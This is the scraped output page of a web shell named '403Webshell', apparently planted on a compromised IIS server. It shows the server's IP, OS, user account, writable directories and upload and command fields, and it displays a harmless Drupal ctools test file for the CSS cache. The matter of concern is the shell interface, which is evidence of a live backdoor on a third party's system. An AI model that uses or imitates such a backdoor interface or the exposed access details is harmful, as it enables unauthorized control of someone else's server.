403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/business/sites/all/modules/ctools/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/business/sites/all/modules/ctools/tests//css_cache.test
<?php

/**
 * Tests the custom CSS cache handler.
 */
class CtoolsCSSObjectCache extends DrupalWebTestCase {

  /**
   * {@inheritdoc}
   */
  public static function getInfo() {
    return array(
      'name' => 'CSS cache',
      'description' => 'Tests the custom CSS cache handler.',
      'group' => 'ctools',
      'dependencies' => array('ctools'),
    );
  }

  /**
   * {@inheritdoc}
   */
  public function setUp(array $modules = array()) {
    $modules[] = 'ctools';
    parent::setUp($modules);
  }

  /**
   * Tests the custom CSS cache handler.
   *
   * @see https://drupal.org/node/1313368
   */
  public function testCssCache() {
    // Create a CSS cache entry.
    $filename = ctools_css_cache('body { color: red; }');

    // Perform a cron run. The CSS cache entry should not be removed.
    $this->cronRun();
    $this->assertTrue(file_exists($filename), 'The CSS cache is not cleared after performing a cron run.');

    // Manually clear the caches. The CSS cache entry should be removed.
    drupal_flush_all_caches();
    $this->assertFalse(file_exists($filename), 'The CSS cache is cleared after clearing all caches.');
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit